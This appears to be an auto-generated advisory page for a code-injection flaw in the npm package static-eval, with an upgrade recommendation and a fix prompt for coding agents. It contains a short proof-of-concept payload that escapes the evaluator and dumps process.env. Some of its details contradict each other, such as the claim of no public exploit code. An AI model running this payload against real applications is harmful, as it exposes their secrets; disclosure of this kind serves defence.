# GHSA-x9hc-rw35-f44h: Sandbox Breakout / Arbitrary Code Execution in static-eval

> Attackers can execute arbitrary code by passing malicious input to the static-eval library, which fails to properly sanitize input before using the Function constructor.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 2 Sep 2020

## What is GHSA-x9hc-rw35-f44h?

GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

## Proof of concept
```
var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));
```

## Recommendation

Upgrade to version 2.0.2 or later.

## Which versions are affected by GHSA-x9hc-rw35-f44h?

2 open source packages ship an affected version, including static-eval.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `static-eval` | npm | All versions | 2.0.2 |
| `static-eval` | npm | All versions | 2.0.2 |

## How do I fix GHSA-x9hc-rw35-f44h?

Upgrade static-eval to 2.0.2 or later.

## Is GHSA-x9hc-rw35-f44h being exploited?

There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-x9hc-rw35-f44h and fix it if it is affected.

What it is: GHSA-x9hc-rw35-f44h is a code injection vulnerability in static-eval, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-x9hc-rw35-f44h in the wild and no public exploit code.

Affected packages and fixed versions:
- static-eval (npm): affected all versions; fixed in 2.0.2
- static-eval (npm): affected all versions; fixed in 2.0.2

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/ (Markdown: https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-x9hc-rw35-f44h

---
From sbomify Insights: https://insights.sbomify.com/GHSA-x9hc-rw35-f44h/
Summaries are generated and may contain mistakes; the official description above is the record.
